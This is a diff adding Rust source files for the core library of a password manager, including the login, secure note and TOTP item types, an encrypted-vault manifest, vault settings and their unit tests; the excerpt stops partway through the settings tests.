crates/relicario-core/src/item_types/login.rs
Normal file
63
crates/relicario-core/src/item_types/login.rs
Normal file
@@ -0,0 +1,63 @@
|
||||
//! Login item core: username, password (Zeroizing), URL, optional TOTP.
|
||||
|
||||
use serde::{Deserialize, Serialize};
|
||||
use url::Url;
|
||||
use zeroize::Zeroizing;
|
||||
|
||||
use crate::item_types::TotpConfig;
|
||||
|
||||
#[derive(Debug, Clone, Serialize, Deserialize, Default)]
|
||||
pub struct LoginCore {
|
||||
#[serde(skip_serializing_if = "Option::is_none")]
|
||||
pub username: Option<String>,
|
||||
#[serde(skip_serializing_if = "Option::is_none")]
|
||||
pub password: Option<Zeroizing<String>>,
|
||||
#[serde(skip_serializing_if = "Option::is_none")]
|
||||
pub url: Option<Url>,
|
||||
#[serde(skip_serializing_if = "Option::is_none")]
|
||||
pub totp: Option<TotpConfig>,
|
||||
}
|
||||
|
||||
#[cfg(test)]
|
||||
mod tests {
|
||||
use super::*;
|
||||
|
||||
#[test]
|
||||
fn empty_login_round_trips() {
|
||||
let login = LoginCore::default();
|
||||
let json = serde_json::to_string(&login).unwrap();
|
||||
let parsed: LoginCore = serde_json::from_str(&json).unwrap();
|
||||
assert!(parsed.username.is_none());
|
||||
assert!(parsed.password.is_none());
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn full_login_round_trips() {
|
||||
let login = LoginCore {
|
||||
username: Some("alice".into()),
|
||||
password: Some(Zeroizing::new("hunter2".into())),
|
||||
url: Some(Url::parse("https://github.com/login").unwrap()),
|
||||
totp: None,
|
||||
};
|
||||
let json = serde_json::to_string(&login).unwrap();
|
||||
let parsed: LoginCore = serde_json::from_str(&json).unwrap();
|
||||
assert_eq!(parsed.username.as_deref(), Some("alice"));
|
||||
assert_eq!(parsed.password.as_deref().map(String::as_str), Some("hunter2"));
|
||||
assert_eq!(parsed.url.as_ref().map(Url::as_str), Some("https://github.com/login"));
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn omitted_fields_dont_appear_in_json() {
|
||||
let login = LoginCore {
|
||||
username: Some("alice".into()),
|
||||
password: None,
|
||||
url: None,
|
||||
totp: None,
|
||||
};
|
||||
let json = serde_json::to_string(&login).unwrap();
|
||||
assert!(!json.contains("password"));
|
||||
assert!(!json.contains("url"));
|
||||
assert!(!json.contains("totp"));
|
||||
assert!(json.contains("alice"));
|
||||
}
|
||||
}
|
||||
127
crates/relicario-core/src/item_types/mod.rs
Normal file
127
crates/relicario-core/src/item_types/mod.rs
Normal file
@@ -0,0 +1,127 @@
|
||||
//! Per-type "core" structs for typed items.
|
||||
//!
|
||||
//! Each variant lives in its own submodule. The `ItemCore` enum + match
|
||||
//! exhaustiveness is the extension mechanism — adding a new variant later
|
||||
//! means: create the submodule, add the enum variant, fix the match arms
|
||||
//! the compiler points at, register the popup form (Plan 1C).
|
||||
|
||||
use serde::{Deserialize, Serialize};
|
||||
|
||||
pub mod login;
|
||||
pub mod secure_note;
|
||||
pub mod identity;
|
||||
pub mod card;
|
||||
pub mod key;
|
||||
pub mod document;
|
||||
pub mod totp;
|
||||
|
||||
pub use login::LoginCore;
|
||||
pub use secure_note::SecureNoteCore;
|
||||
pub use identity::IdentityCore;
|
||||
pub use card::{CardCore, CardKind};
|
||||
pub use key::KeyCore;
|
||||
pub use document::DocumentCore;
|
||||
pub use totp::{TotpCore, TotpConfig, TotpAlgorithm, TotpKind, compute_totp_code};
|
||||
|
||||
#[derive(Debug, Clone, Copy, PartialEq, Eq, Serialize, Deserialize)]
|
||||
#[serde(rename_all = "snake_case")]
|
||||
pub enum ItemType {
|
||||
Login,
|
||||
SecureNote,
|
||||
Identity,
|
||||
Card,
|
||||
Key,
|
||||
Document,
|
||||
Totp,
|
||||
}
|
||||
|
||||
// INVARIANT: no *Core struct may have a field serialized as "type" —
|
||||
// that key is reserved for serde's internal tag. Use "kind" for
|
||||
// type-discriminant fields within core structs (CardKind, TotpKind).
|
||||
#[derive(Debug, Clone, Serialize, Deserialize)]
|
||||
#[serde(tag = "type", rename_all = "snake_case")]
|
||||
pub enum ItemCore {
|
||||
Login(LoginCore),
|
||||
SecureNote(SecureNoteCore),
|
||||
Identity(IdentityCore),
|
||||
Card(CardCore),
|
||||
Key(KeyCore),
|
||||
Document(DocumentCore),
|
||||
Totp(TotpCore),
|
||||
}
|
||||
|
||||
impl ItemCore {
|
||||
pub fn item_type(&self) -> ItemType {
|
||||
match self {
|
||||
ItemCore::Login(_) => ItemType::Login,
|
||||
ItemCore::SecureNote(_) => ItemType::SecureNote,
|
||||
ItemCore::Identity(_) => ItemType::Identity,
|
||||
ItemCore::Card(_) => ItemType::Card,
|
||||
ItemCore::Key(_) => ItemType::Key,
|
||||
ItemCore::Document(_) => ItemType::Document,
|
||||
ItemCore::Totp(_) => ItemType::Totp,
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
#[cfg(test)]
|
||||
mod tests {
|
||||
use super::*;
|
||||
|
||||
#[test]
|
||||
fn item_type_serializes_snake_case() {
|
||||
let json = serde_json::to_string(&ItemType::SecureNote).unwrap();
|
||||
assert_eq!(json, "\"secure_note\"");
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn item_core_login_round_trip_via_tag() {
|
||||
use zeroize::Zeroizing;
|
||||
let core = ItemCore::Login(LoginCore {
|
||||
username: Some("alice".into()),
|
||||
password: Some(Zeroizing::new("hunter2".into())),
|
||||
url: None,
|
||||
totp: None,
|
||||
});
|
||||
let json = serde_json::to_string(&core).unwrap();
|
||||
// Tag-based: outer object has "type": "login"
|
||||
assert!(json.contains("\"type\":\"login\""));
|
||||
let parsed: ItemCore = serde_json::from_str(&json).unwrap();
|
||||
assert_eq!(parsed.item_type(), ItemType::Login);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn item_core_secure_note_round_trip_via_tag() {
|
||||
use zeroize::Zeroizing;
|
||||
let core = ItemCore::SecureNote(SecureNoteCore { body: Zeroizing::new("hello".into()) });
|
||||
let json = serde_json::to_string(&core).unwrap();
|
||||
assert!(json.contains("\"type\":\"secure_note\""));
|
||||
let parsed: ItemCore = serde_json::from_str(&json).unwrap();
|
||||
assert_eq!(parsed.item_type(), ItemType::SecureNote);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn item_core_round_trips_for_all_seven_types() {
|
||||
use crate::ids::AttachmentId;
|
||||
|
||||
let cores = vec![
|
||||
ItemCore::Login(LoginCore::default()),
|
||||
ItemCore::SecureNote(SecureNoteCore::default()),
|
||||
ItemCore::Identity(IdentityCore::default()),
|
||||
ItemCore::Card(CardCore::default()),
|
||||
ItemCore::Key(KeyCore::default()),
|
||||
ItemCore::Document(DocumentCore {
|
||||
filename: "x".into(),
|
||||
mime_type: "text/plain".into(),
|
||||
primary_attachment: AttachmentId("0123456789abcdef".into()),
|
||||
}),
|
||||
ItemCore::Totp(TotpCore::default()),
|
||||
];
|
||||
for core in cores {
|
||||
let expected_type = core.item_type();
|
||||
let json = serde_json::to_string(&core).unwrap();
|
||||
let parsed: ItemCore = serde_json::from_str(&json).expect("round-trip failed");
|
||||
assert_eq!(parsed.item_type(), expected_type);
|
||||
}
|
||||
}
|
||||
}
|
||||
30
crates/relicario-core/src/item_types/secure_note.rs
Normal file
30
crates/relicario-core/src/item_types/secure_note.rs
Normal file
@@ -0,0 +1,30 @@
|
||||
//! Secure note: just a multiline body, Zeroizing.
|
||||
|
||||
use serde::{Deserialize, Serialize};
|
||||
use zeroize::Zeroizing;
|
||||
|
||||
#[derive(Debug, Clone, Serialize, Deserialize, Default)]
|
||||
pub struct SecureNoteCore {
|
||||
pub body: Zeroizing<String>,
|
||||
}
|
||||
|
||||
#[cfg(test)]
|
||||
mod tests {
|
||||
use super::*;
|
||||
|
||||
#[test]
|
||||
fn secure_note_round_trips() {
|
||||
let note = SecureNoteCore { body: Zeroizing::new("a multi\nline note".into()) };
|
||||
let json = serde_json::to_string(¬e).unwrap();
|
||||
let parsed: SecureNoteCore = serde_json::from_str(&json).unwrap();
|
||||
assert_eq!(parsed.body.as_str(), "a multi\nline note");
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn empty_body_round_trips() {
|
||||
let note = SecureNoteCore::default();
|
||||
let json = serde_json::to_string(¬e).unwrap();
|
||||
let parsed: SecureNoteCore = serde_json::from_str(&json).unwrap();
|
||||
assert!(parsed.body.is_empty());
|
||||
}
|
||||
}
|
||||
170
crates/relicario-core/src/item_types/totp.rs
Normal file
170
crates/relicario-core/src/item_types/totp.rs
Normal file
@@ -0,0 +1,170 @@
|
||||
//! TOTP: standalone 2FA item type. Also reused as TotpConfig field on Login.
|
||||
|
||||
use hmac::{Hmac, Mac};
|
||||
use sha1::Sha1 as HmacSha1;
|
||||
use sha2::{Sha256 as HmacSha256, Sha512 as HmacSha512};
|
||||
use serde::{Deserialize, Serialize};
|
||||
use zeroize::Zeroizing;
|
||||
|
||||
use crate::error::{RelicarioError, Result};
|
||||
|
||||
#[derive(Debug, Clone, Serialize, Deserialize, Default)]
|
||||
pub struct TotpCore {
|
||||
pub config: TotpConfig,
|
||||
#[serde(skip_serializing_if = "Option::is_none")]
|
||||
pub issuer: Option<String>,
|
||||
#[serde(skip_serializing_if = "Option::is_none")]
|
||||
pub label: Option<String>,
|
||||
}
|
||||
|
||||
#[derive(Debug, Clone, Serialize, Deserialize)]
|
||||
pub struct TotpConfig {
|
||||
/// Raw bytes of the TOTP secret (decoded from base32 when imported).
|
||||
pub secret: Zeroizing<Vec<u8>>,
|
||||
pub algorithm: TotpAlgorithm,
|
||||
pub digits: u8,
|
||||
pub period_seconds: u32,
|
||||
pub kind: TotpKind,
|
||||
}
|
||||
|
||||
impl Default for TotpConfig {
|
||||
fn default() -> Self {
|
||||
Self {
|
||||
secret: Zeroizing::new(Vec::new()),
|
||||
algorithm: TotpAlgorithm::Sha1,
|
||||
digits: 6,
|
||||
period_seconds: 30,
|
||||
kind: TotpKind::Totp,
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
#[derive(Debug, Clone, Copy, PartialEq, Eq, Serialize, Deserialize, Default)]
|
||||
#[serde(rename_all = "snake_case")]
|
||||
pub enum TotpAlgorithm {
|
||||
#[default]
|
||||
Sha1,
|
||||
Sha256,
|
||||
Sha512,
|
||||
}
|
||||
|
||||
#[derive(Debug, Clone, Serialize, Deserialize, PartialEq, Eq)]
|
||||
#[serde(rename_all = "snake_case")]
|
||||
pub enum TotpKind {
|
||||
Totp,
|
||||
Hotp { counter: u64 },
|
||||
Steam,
|
||||
}
|
||||
|
||||
impl Default for TotpKind {
|
||||
fn default() -> Self { TotpKind::Totp }
|
||||
}
|
||||
|
||||
/// Compute a TOTP/HOTP/Steam code for `config` at the given Unix timestamp.
|
||||
///
|
||||
/// For TOTP and Steam: counter = `now_unix_seconds / period_seconds`.
|
||||
/// For HOTP: uses the `counter` carried in the variant.
|
||||
pub fn compute_totp_code(config: &TotpConfig, now_unix_seconds: u64) -> Result<String> {
|
||||
let counter = match config.kind {
|
||||
TotpKind::Totp => now_unix_seconds / config.period_seconds as u64,
|
||||
TotpKind::Hotp { counter } => counter,
|
||||
TotpKind::Steam => now_unix_seconds / config.period_seconds as u64,
|
||||
};
|
||||
let counter_bytes = counter.to_be_bytes();
|
||||
let hmac_out: Vec<u8> = match config.algorithm {
|
||||
TotpAlgorithm::Sha1 => {
|
||||
let mut mac = Hmac::<HmacSha1>::new_from_slice(&config.secret)
|
||||
.map_err(|e| RelicarioError::Format(format!("hmac: {e}")))?;
|
||||
mac.update(&counter_bytes);
|
||||
mac.finalize().into_bytes().to_vec()
|
||||
}
|
||||
TotpAlgorithm::Sha256 => {
|
||||
let mut mac = Hmac::<HmacSha256>::new_from_slice(&config.secret)
|
||||
.map_err(|e| RelicarioError::Format(format!("hmac: {e}")))?;
|
||||
mac.update(&counter_bytes);
|
||||
mac.finalize().into_bytes().to_vec()
|
||||
}
|
||||
TotpAlgorithm::Sha512 => {
|
||||
let mut mac = Hmac::<HmacSha512>::new_from_slice(&config.secret)
|
||||
.map_err(|e| RelicarioError::Format(format!("hmac: {e}")))?;
|
||||
mac.update(&counter_bytes);
|
||||
mac.finalize().into_bytes().to_vec()
|
||||
}
|
||||
};
|
||||
let offset = (hmac_out[hmac_out.len() - 1] & 0x0F) as usize;
|
||||
let truncated = ((hmac_out[offset] as u32 & 0x7F) << 24)
|
||||
| ((hmac_out[offset + 1] as u32) << 16)
|
||||
| ((hmac_out[offset + 2] as u32) << 8)
|
||||
| (hmac_out[offset + 3] as u32);
|
||||
let modulus = 10u32.pow(config.digits as u32);
|
||||
Ok(format!("{:0width$}", truncated % modulus, width = config.digits as usize))
|
||||
}
|
||||
|
||||
#[cfg(test)]
|
||||
mod compute_tests {
|
||||
use super::*;
|
||||
|
||||
#[test]
|
||||
fn rfc6238_sha1_vector_59() {
|
||||
let cfg = TotpConfig {
|
||||
secret: Zeroizing::new(b"12345678901234567890".to_vec()),
|
||||
algorithm: TotpAlgorithm::Sha1,
|
||||
digits: 8,
|
||||
period_seconds: 30,
|
||||
kind: TotpKind::Totp,
|
||||
};
|
||||
assert_eq!(compute_totp_code(&cfg, 59).unwrap(), "94287082");
|
||||
}
|
||||
}
|
||||
|
||||
#[cfg(test)]
|
||||
mod tests {
|
||||
use super::*;
|
||||
|
||||
#[test]
|
||||
fn totp_default_is_sha1_6_30_totp() {
|
||||
let cfg = TotpConfig::default();
|
||||
assert_eq!(cfg.algorithm, TotpAlgorithm::Sha1);
|
||||
assert_eq!(cfg.digits, 6);
|
||||
assert_eq!(cfg.period_seconds, 30);
|
||||
assert_eq!(cfg.kind, TotpKind::Totp);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn totp_round_trip() {
|
||||
let core = TotpCore {
|
||||
config: TotpConfig {
|
||||
secret: Zeroizing::new(vec![0x12, 0x34, 0x56]),
|
||||
algorithm: TotpAlgorithm::Sha256,
|
||||
digits: 8,
|
||||
period_seconds: 60,
|
||||
kind: TotpKind::Totp,
|
||||
},
|
||||
issuer: Some("github".into()),
|
||||
label: Some("alice@github".into()),
|
||||
};
|
||||
let json = serde_json::to_string(&core).unwrap();
|
||||
let parsed: TotpCore = serde_json::from_str(&json).unwrap();
|
||||
assert_eq!(parsed.config.digits, 8);
|
||||
assert_eq!(parsed.config.algorithm, TotpAlgorithm::Sha256);
|
||||
assert_eq!(parsed.issuer.as_deref(), Some("github"));
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn hotp_carries_counter() {
|
||||
let cfg = TotpConfig { kind: TotpKind::Hotp { counter: 42 }, ..TotpConfig::default() };
|
||||
let json = serde_json::to_string(&cfg).unwrap();
|
||||
let parsed: TotpConfig = serde_json::from_str(&json).unwrap();
|
||||
match parsed.kind {
|
||||
TotpKind::Hotp { counter } => assert_eq!(counter, 42),
|
||||
other => panic!("expected Hotp, got {:?}", other),
|
||||
}
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn steam_kind_serializes() {
|
||||
let cfg = TotpConfig { kind: TotpKind::Steam, ..TotpConfig::default() };
|
||||
let json = serde_json::to_string(&cfg).unwrap();
|
||||
assert!(json.contains("steam"));
|
||||
}
|
||||
}
|
||||
79
crates/relicario-core/src/lib.rs
Normal file
79
crates/relicario-core/src/lib.rs
Normal file
@@ -0,0 +1,79 @@
|
||||
//! # relicario-core
|
||||
//!
|
||||
//! Platform-agnostic core library for the relicario password manager.
|
||||
//!
|
||||
//! This crate is intentionally **bytes-in/bytes-out** -- it performs no filesystem
|
||||
//! access, no network I/O, and no git operations. All inputs arrive as byte slices
|
||||
//! or typed structs, and all outputs are returned as byte vectors or typed structs.
|
||||
//! This design makes the crate portable to WASM, Android (via JNI/UniFFI), and iOS
|
||||
//! without any conditional compilation or platform shims.
|
||||
//!
|
||||
//! ## Modules
|
||||
//!
|
||||
//! - [`error`] — The unified error type ([`RelicarioError`]).
|
||||
//! - [`crypto`] — Argon2id KDF (length-prefixed inputs, Zeroizing output) and
|
||||
//! XChaCha20-Poly1305 AEAD with VERSION_BYTE 0x02.
|
||||
//! - [`ids`] — `ItemId`, `FieldId`, and content-addressed `AttachmentId`.
|
||||
//! - [`time`] — unix-seconds + `MonthYear` for card expiries.
|
||||
//! - [`item_types`] — Per-type cores (`LoginCore`, `SecureNoteCore`, etc.) and the
|
||||
//! `ItemCore`/`ItemType` enums.
|
||||
//! - [`item`] — `Item` envelope, `Field`, `FieldKind`, `FieldValue`, `Section`,
|
||||
//! `FieldHistoryEntry`.
|
||||
//! - [`attachment`] — `AttachmentRef`, `AttachmentSummary`, encrypt/decrypt helpers.
|
||||
//! - [`manifest`] — Browse-without-decrypt index (schema_version 2).
|
||||
//! - [`settings`] — Vault-level retention, generator defaults, attachment caps.
|
||||
//! - [`generators`] — CSPRNG password + BIP39 passphrase generators; zxcvbn
|
||||
//! strength gate.
|
||||
//! - [`vault`] — Typed encrypt/decrypt wrappers (Item, Manifest, VaultSettings).
|
||||
//! - [`imgsecret`] — DCT-based steganography for the second auth factor.
|
||||
//!
|
||||
//! ## Crypto pipeline
|
||||
//!
|
||||
//! ```text
|
||||
//! passphrase (UTF-8 bytes) || image_secret (32 bytes from reference JPEG)
|
||||
//! -> Argon2id(salt=vault_salt, m=64MiB, t=3, p=4)
|
||||
//! -> master_key (32 bytes)
|
||||
//! -> XChaCha20-Poly1305(nonce=random 24 bytes)
|
||||
//! -> encrypted entry/manifest
|
||||
//! ```
|
||||
|
||||
pub mod error;
|
||||
pub use error::{RelicarioError, Result};
|
||||
|
||||
pub mod crypto;
|
||||
pub use crypto::{decrypt, derive_master_key, encrypt, KdfParams, VERSION_BYTE};
|
||||
|
||||
pub mod ids;
|
||||
pub use ids::{AttachmentId, FieldId, ItemId};
|
||||
|
||||
pub mod time;
|
||||
pub use time::{now_unix, MonthYear};
|
||||
|
||||
pub mod item_types;
|
||||
pub use item_types::{ItemCore, ItemType};
|
||||
|
||||
pub mod item;
|
||||
pub use item::{Field, FieldHistoryEntry, FieldKind, FieldValue, Item, Section};
|
||||
|
||||
pub mod attachment;
|
||||
pub use attachment::{decrypt_attachment, encrypt_attachment, AttachmentRef, AttachmentSummary, EncryptedAttachment};
|
||||
|
||||
pub mod manifest;
|
||||
pub use manifest::{Manifest, ManifestEntry, MANIFEST_SCHEMA_VERSION};
|
||||
|
||||
pub mod settings;
|
||||
pub use settings::{
|
||||
AttachmentCaps, Capitalization, CharClasses, GeneratorRequest, HistoryRetention,
|
||||
SymbolCharset, TrashRetention, VaultSettings,
|
||||
};
|
||||
|
||||
pub mod generators;
|
||||
pub use generators::{generate_passphrase, generate_password, rate_passphrase, validate_passphrase_strength, StrengthEstimate};
|
||||
|
||||
pub mod vault;
|
||||
pub use vault::{
|
||||
decrypt_item, decrypt_manifest, decrypt_settings,
|
||||
encrypt_item, encrypt_manifest, encrypt_settings,
|
||||
};
|
||||
|
||||
pub mod imgsecret;
|
||||
159
crates/relicario-core/src/manifest.rs
Normal file
159
crates/relicario-core/src/manifest.rs
Normal file
@@ -0,0 +1,159 @@
|
||||
//! New typed-item manifest. Lives next to the old entry.rs Manifest
|
||||
//! during this rewrite; entry.rs is deleted in Task 25.
|
||||
|
||||
use serde::{Deserialize, Serialize};
|
||||
use std::collections::HashMap;
|
||||
|
||||
use crate::attachment::AttachmentSummary;
|
||||
use crate::ids::ItemId;
|
||||
use crate::item::Item;
|
||||
use crate::item_types::ItemType;
|
||||
|
||||
pub const MANIFEST_SCHEMA_VERSION: u32 = 2;
|
||||
|
||||
#[derive(Debug, Clone, Serialize, Deserialize)]
|
||||
pub struct Manifest {
|
||||
pub schema_version: u32,
|
||||
pub items: HashMap<ItemId, ManifestEntry>,
|
||||
}
|
||||
|
||||
#[derive(Debug, Clone, Serialize, Deserialize)]
|
||||
pub struct ManifestEntry {
|
||||
pub id: ItemId,
|
||||
pub r#type: ItemType,
|
||||
pub title: String,
|
||||
#[serde(default)]
|
||||
pub tags: Vec<String>,
|
||||
#[serde(default)]
|
||||
pub favorite: bool,
|
||||
#[serde(skip_serializing_if = "Option::is_none")]
|
||||
pub group: Option<String>,
|
||||
#[serde(skip_serializing_if = "Option::is_none")]
|
||||
pub icon_hint: Option<String>,
|
||||
pub modified: i64,
|
||||
#[serde(skip_serializing_if = "Option::is_none")]
|
||||
pub trashed_at: Option<i64>,
|
||||
#[serde(default)]
|
||||
pub attachment_summaries: Vec<AttachmentSummary>,
|
||||
}
|
||||
|
||||
impl Manifest {
|
||||
pub fn new() -> Self {
|
||||
Self { schema_version: MANIFEST_SCHEMA_VERSION, items: HashMap::new() }
|
||||
}
|
||||
|
||||
pub fn upsert(&mut self, item: &Item) {
|
||||
let entry = ManifestEntry::from_item(item);
|
||||
self.items.insert(item.id.clone(), entry);
|
||||
}
|
||||
|
||||
pub fn remove(&mut self, id: &ItemId) -> Option<ManifestEntry> {
|
||||
self.items.remove(id)
|
||||
}
|
||||
|
||||
pub fn get(&self, id: &ItemId) -> Option<&ManifestEntry> {
|
||||
self.items.get(id)
|
||||
}
|
||||
|
||||
/// Case-insensitive substring match on title and tags.
|
||||
pub fn search(&self, query: &str) -> Vec<&ManifestEntry> {
|
||||
let q = query.to_lowercase();
|
||||
self.items
|
||||
.values()
|
||||
.filter(|e| {
|
||||
e.title.to_lowercase().contains(&q)
|
||||
|| e.tags.iter().any(|t| t.to_lowercase().contains(&q))
|
||||
})
|
||||
.collect()
|
||||
}
|
||||
}
|
||||
|
||||
impl Default for Manifest {
|
||||
fn default() -> Self { Self::new() }
|
||||
}
|
||||
|
||||
impl ManifestEntry {
|
||||
pub fn from_item(item: &Item) -> Self {
|
||||
Self {
|
||||
id: item.id.clone(),
|
||||
r#type: item.r#type,
|
||||
title: item.title.clone(),
|
||||
tags: item.tags.clone(),
|
||||
favorite: item.favorite,
|
||||
group: item.group.clone(),
|
||||
icon_hint: derive_icon_hint(item),
|
||||
modified: item.modified,
|
||||
trashed_at: item.trashed_at,
|
||||
attachment_summaries: item.attachments.iter().map(Into::into).collect(),
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
/// Derive an icon hint string from an item — for Login items, this is the URL hostname.
|
||||
fn derive_icon_hint(item: &Item) -> Option<String> {
|
||||
use crate::item_types::ItemCore;
|
||||
match &item.core {
|
||||
ItemCore::Login(l) => l.url.as_ref().and_then(|u| u.host_str().map(str::to_owned)),
|
||||
_ => None,
|
||||
}
|
||||
}
|
||||
|
||||
#[cfg(test)]
|
||||
mod tests {
|
||||
use super::*;
|
||||
use crate::item_types::{ItemCore, LoginCore, SecureNoteCore};
|
||||
|
||||
#[test]
|
||||
fn empty_manifest_has_schema_v2() {
|
||||
let m = Manifest::new();
|
||||
assert_eq!(m.schema_version, MANIFEST_SCHEMA_VERSION);
|
||||
assert!(m.items.is_empty());
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn upsert_and_search() {
|
||||
let mut m = Manifest::new();
|
||||
let mut item = Item::new("GitHub".into(), ItemCore::Login(LoginCore::default()));
|
||||
item.tags = vec!["work".into()];
|
||||
m.upsert(&item);
|
||||
|
||||
let results = m.search("github");
|
||||
assert_eq!(results.len(), 1);
|
||||
let by_tag = m.search("work");
|
||||
assert_eq!(by_tag.len(), 1);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn icon_hint_is_login_url_host() {
|
||||
use url::Url;
|
||||
let mut m = Manifest::new();
|
||||
let core = ItemCore::Login(LoginCore {
|
||||
url: Some(Url::parse("https://api.github.com/login").unwrap()),
|
||||
..Default::default()
|
||||
});
|
||||
let item = Item::new("X".into(), core);
|
||||
m.upsert(&item);
|
||||
let entry = m.items.values().next().unwrap();
|
||||
assert_eq!(entry.icon_hint.as_deref(), Some("api.github.com"));
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn icon_hint_is_none_for_non_login() {
|
||||
let mut m = Manifest::new();
|
||||
let item = Item::new("note".into(), ItemCore::SecureNote(SecureNoteCore::default()));
|
||||
m.upsert(&item);
|
||||
let entry = m.items.values().next().unwrap();
|
||||
assert!(entry.icon_hint.is_none());
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn manifest_round_trips() {
|
||||
let mut m = Manifest::new();
|
||||
let item = Item::new("X".into(), ItemCore::SecureNote(SecureNoteCore::default()));
|
||||
m.upsert(&item);
|
||||
let json = serde_json::to_string(&m).unwrap();
|
||||
let parsed: Manifest = serde_json::from_str(&json).unwrap();
|
||||
assert_eq!(parsed.schema_version, MANIFEST_SCHEMA_VERSION);
|
||||
assert_eq!(parsed.items.len(), 1);
|
||||
}
|
||||
}
|
||||
184
crates/relicario-core/src/settings.rs
Normal file
184
crates/relicario-core/src/settings.rs
Normal file
@@ -0,0 +1,184 @@
|
||||
//! Vault-level settings: trash retention, history retention, generator
|
||||
//! defaults, attachment caps, autofill TOFU acks.
|
||||
|
||||
use serde::{Deserialize, Serialize};
|
||||
use std::collections::HashMap;
|
||||
|
||||
#[derive(Debug, Clone, Serialize, Deserialize)]
|
||||
pub struct VaultSettings {
|
||||
pub trash_retention: TrashRetention,
|
||||
pub field_history_retention: HistoryRetention,
|
||||
pub generator_defaults: GeneratorRequest,
|
||||
pub attachment_caps: AttachmentCaps,
|
||||
/// hostname → unix-seconds first-acked
|
||||
#[serde(default)]
|
||||
pub autofill_origin_acks: HashMap<String, i64>,
|
||||
}
|
||||
|
||||
impl Default for VaultSettings {
|
||||
fn default() -> Self {
|
||||
Self {
|
||||
trash_retention: TrashRetention::Days(30),
|
||||
field_history_retention: HistoryRetention::Forever,
|
||||
generator_defaults: GeneratorRequest::default(),
|
||||
attachment_caps: AttachmentCaps::default(),
|
||||
autofill_origin_acks: HashMap::new(),
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
#[derive(Debug, Clone, Copy, PartialEq, Eq, Serialize, Deserialize)]
|
||||
#[serde(tag = "kind", content = "value", rename_all = "snake_case")]
|
||||
pub enum TrashRetention {
|
||||
Days(u32),
|
||||
Forever,
|
||||
}
|
||||
|
||||
impl TrashRetention {
|
||||
pub fn should_purge(&self, trashed_at: i64, now: i64) -> bool {
|
||||
match self {
|
||||
TrashRetention::Forever => false,
|
||||
TrashRetention::Days(d) => now - trashed_at > (*d as i64) * 86_400,
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
#[derive(Debug, Clone, Copy, PartialEq, Eq, Serialize, Deserialize)]
|
||||
#[serde(tag = "kind", content = "value", rename_all = "snake_case")]
|
||||
pub enum HistoryRetention {
|
||||
LastN(u32),
|
||||
Days(u32),
|
||||
Forever,
|
||||
}
|
||||
|
||||
#[derive(Debug, Clone, Serialize, Deserialize)]
|
||||
#[serde(tag = "kind", rename_all = "snake_case")]
|
||||
pub enum GeneratorRequest {
|
||||
Bip39 {
|
||||
word_count: u32,
|
||||
separator: String,
|
||||
capitalization: Capitalization,
|
||||
},
|
||||
Random {
|
||||
length: u32,
|
||||
classes: CharClasses,
|
||||
symbol_charset: SymbolCharset,
|
||||
},
|
||||
}
|
||||
|
||||
impl Default for GeneratorRequest {
|
||||
fn default() -> Self {
|
||||
GeneratorRequest::Random {
|
||||
length: 20,
|
||||
classes: CharClasses { lower: true, upper: true, digits: true, symbols: true },
|
||||
symbol_charset: SymbolCharset::SafeOnly,
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
#[derive(Debug, Clone, Copy, PartialEq, Eq, Serialize, Deserialize)]
|
||||
#[serde(rename_all = "snake_case")]
|
||||
pub enum Capitalization {
|
||||
Lower,
|
||||
Upper,
|
||||
FirstOfEach,
|
||||
Title,
|
||||
Mixed,
|
||||
}
|
||||
|
||||
#[derive(Debug, Clone, Copy, PartialEq, Eq, Serialize, Deserialize)]
|
||||
pub struct CharClasses {
|
||||
pub lower: bool,
|
||||
pub upper: bool,
|
||||
pub digits: bool,
|
||||
pub symbols: bool,
|
||||
}
|
||||
|
||||
#[derive(Debug, Clone, Serialize, Deserialize)]
|
||||
#[serde(tag = "kind", content = "value", rename_all = "snake_case")]
|
||||
pub enum SymbolCharset {
|
||||
SafeOnly,
|
||||
Extended,
|
||||
Custom(String),
|
||||
}
|
||||
|
||||
#[derive(Debug, Clone, Copy, Serialize, Deserialize)]
|
||||
pub struct AttachmentCaps {
|
||||
pub per_attachment_max_bytes: u64,
|
||||
pub per_item_max_count: u32,
|
||||
pub per_vault_soft_cap_bytes: u64,
|
||||
pub per_vault_hard_cap_bytes: u64,
|
||||
}
|
||||
|
||||
impl Default for AttachmentCaps {
|
||||
fn default() -> Self {
|
||||
Self {
|
||||
per_attachment_max_bytes: 10 * 1024 * 1024,
|
||||
per_item_max_count: 20,
|
||||
per_vault_soft_cap_bytes: 100 * 1024 * 1024,
|
||||
per_vault_hard_cap_bytes: 500 * 1024 * 1024,
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
#[cfg(test)]
|
||||
mod tests {
|
||||
use super::*;
|
||||
|
||||
#[test]
|
||||
fn defaults_match_spec() {
|
||||
let s = VaultSettings::default();
|
||||
assert!(matches!(s.trash_retention, TrashRetention::Days(30)));
|
||||
assert!(matches!(s.field_history_retention, HistoryRetention::Forever));
|
||||
assert_eq!(s.attachment_caps.per_attachment_max_bytes, 10 * 1024 * 1024);
|
||||
assert_eq!(s.attachment_caps.per_item_max_count, 20);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn trash_retention_purges_after_days() {
|
||||
let r = TrashRetention::Days(30);
|
||||
let now = 1_000_000_000;
|
||||
let recently_trashed = now - 29 * 86_400;
|
||||
let long_trashed = now - 31 * 86_400;
|
||||
assert!(!r.should_purge(recently_trashed, now));
|
||||
assert!(r.should_purge(long_trashed, now));
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn trash_retention_forever_never_purges() {
|
||||
let r = TrashRetention::Forever;
|
||||
